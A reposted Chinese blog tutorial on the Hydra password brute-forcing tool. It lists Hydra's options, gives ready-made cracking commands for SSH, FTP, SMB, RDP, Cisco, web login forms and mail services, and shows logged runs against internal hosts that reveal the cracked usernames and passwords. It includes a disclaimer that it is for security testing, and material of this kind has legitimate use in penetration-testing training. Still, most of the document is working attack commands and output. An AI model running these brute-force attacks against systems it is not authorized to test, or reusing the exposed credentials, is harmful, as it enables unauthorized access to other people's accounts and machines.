摘自：http://linzhibin824.blog.163.com/blog/static/735577102013144223127/
这款暴力密码破解工具相当强大，支持几乎所有协议的在线密码破解，其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说，有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试，使用本文内容去做破坏者，与本人无关。
一、简介
hydra是著名黑客组织thc的一款开源的暴力密码破解工具，可以在线破解多种密码。官网：http://www.thc.org/thc-hydra，可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。
二、安装(http://www.aldeid.com/wiki/Thc-hydra)
Dependencies
| Name | Lib | Package |
|---|---|---|
| Xhydra (GUI) | sudo apt-get install pkg-config libgtk2.0-dev | |
| Openssl | libssl/ssl.h | sudo apt-get install libssl-dev |
| Postgres | libpq.so | sudo apt-get install libpq-dev |
| SVN (Subversion) | libsvn_client-1, libapr-1.so, libaprutil-1.so | sudo apt-get install libsvn-dev libapr1-dev libaprutil1-dev |
| firebird | libfbclient.so | sudo apt-get install firebird2.1-dev |
| MySQL client | libmysqlclient.so | sudo apt-get install libmysqlclient-dev |
| AFP | libafpclient.so | N/A |
| NCP | libncp.so, nwcalls.h | sudo apt-get install libncp-dev |
| SAP/R3 | librfc/saprfc.h | (See http://www.sdn.sap.com/irj/sdn/linux) |
| libssh | libssh/libssh.h | sudo apt-get install libssh-dev |
如果是Debian和Ubuntu发行版，源里自带hydra，直接用apt-get在线安装：
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra
Redhat/Fedora发行版的下载源码包编译安装，先安装相关依赖包：
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel
hydra下载地址：http://www.thc.org/releases/hydra-7.4.2.tar.gz
# tar zxvf hydra-7.0-src.tar.gz # cd hydra-7.0-src # ./configure # make # make install
hydra支持GUI图形界面，不过习惯还是命令好用。
三、参数说明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户，对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写，指定密码破解，少用，一般是采用密码字典。
-P FILE 大写，指定密码字典。
-e ns 可选选项，n：空密码试探，s：使用指定用户和密码试探。
-C FILE 使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数，默认为16。
-w TIME 设置最大超时的时间，单位秒，默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名，支持的服务和协议：telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项
四、示例
1、破解ssh：
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp：
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交，破解web登录：
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.PHP
4、post方式提交，破解web登录：
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。）
5、破解https：
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6、破解teamspeak：
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
7、破解cisco：
hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8、破解smb：
hydra -l administrator -P pass.txt 10.36.16.18 smb
9、破解pop3：
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp：
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy：
hydra -l admin -P pass.txt http-proxy://10.36.16.18
12、破解imap：
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
实测如下：
root@ubuntu:~# hydra -l administrator -P a.txt -t 10 -vV 10.148.149.253 smb
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-03 23:56:32
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] 1 task, 1 server, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking service smb on port 445
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 10.148.149.253 - login "administrator" - pass "root" - 1 of 4 [child 0]
[VERBOSE] accntFlag is 2
[VERBOSE] hashFlag is 2
[VERBOSE] Attempting WIN2K Native mode.
Server requested ENCRYPTED password without security signatures.
Server machine name: SVCTAG-B9HR53X
Server primary domain: WORKGROUP
Attempting NTLM password authentication.
Set NBSS header length: 87
Set byte count: 00
SMBSessionRet: 0100006D SMBerr: 006D SMBaction: 01
[ATTEMPT] target 10.148.149.253 - login "administrator" - pass "amgroup" - 2 of 4 [child 0]
[VERBOSE] Attempting WIN2K Native mode.
Server requested ENCRYPTED password without security signatures.
Server machine name: SVCTAG-B9HR53X
Server primary domain: WORKGROUP
Attempting NTLM password authentication.
Set NBSS header length: 87
Set byte count: 00
SMBSessionRet: 00000000 SMBerr: 0000 SMBaction: 00
[445][smb] host: 10.148.149.253 login: administrator password: amgroup
[STATUS] attack finished for 10.148.149.253 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-03 23:56:32
root@ubuntu:~# hydra -l admin -P wordlis.txt -t 256 10.148.149.115 ssh
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:45:18
[DATA] 256 tasks, 1 server, 2107 login tries (l:1/p:2107), ~8 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 942.00 tries/min, 942 tries in 00:01h, 1165 todo in 00:02h
[STATUS] 893.50 tries/min, 1787 tries in 00:02h, 320 todo in 00:01h
[22][ssh] host: 10.148.149.115 login: admin password: admin
[STATUS] attack finished for 10.148.149.115 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:47:43
root@ubuntu:~# hydra -l amgroup -P a.txt -t 10 -vV 10.148.149.241 ftp
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:04:08
[VERBOSE] More tasks defined than login/pass pairs exist. Tasks reduced to 4.
[DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking service ftp on port 21
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "root" - 1 of 4 [child 0]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "amgroup" - 2 of 4 [child 1]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "admin" - 3 of 4 [child 2]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "flow" - 4 of 4 [child 3]
[21][ftp] host: 10.148.149.241 login: amgroup password: amgroup
[STATUS] attack finished for 10.148.149.241 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:04:14
root@ubuntu:~# hydra -P a.txt 10.148.149.254 cisco
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:12:53
Warning: you should set the number of parallel task to 4 for cisco services.
[DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking service cisco on port 23
[23][cisco] host: 10.148.149.254 login: password: amgroup
[STATUS] attack finished for 10.148.149.254 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:12:53
root@ubuntu:~# hydra -l administrator -P a.txt -t 1 10.148.149.200 rdp
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:20:38
[DATA] 1 task, 1 server, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking service rdp on port 3389
[3389][rdp] host: 10.148.149.200 login: administrator password: amgroup
[STATUS] attack finished for 10.148.149.200 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:20:41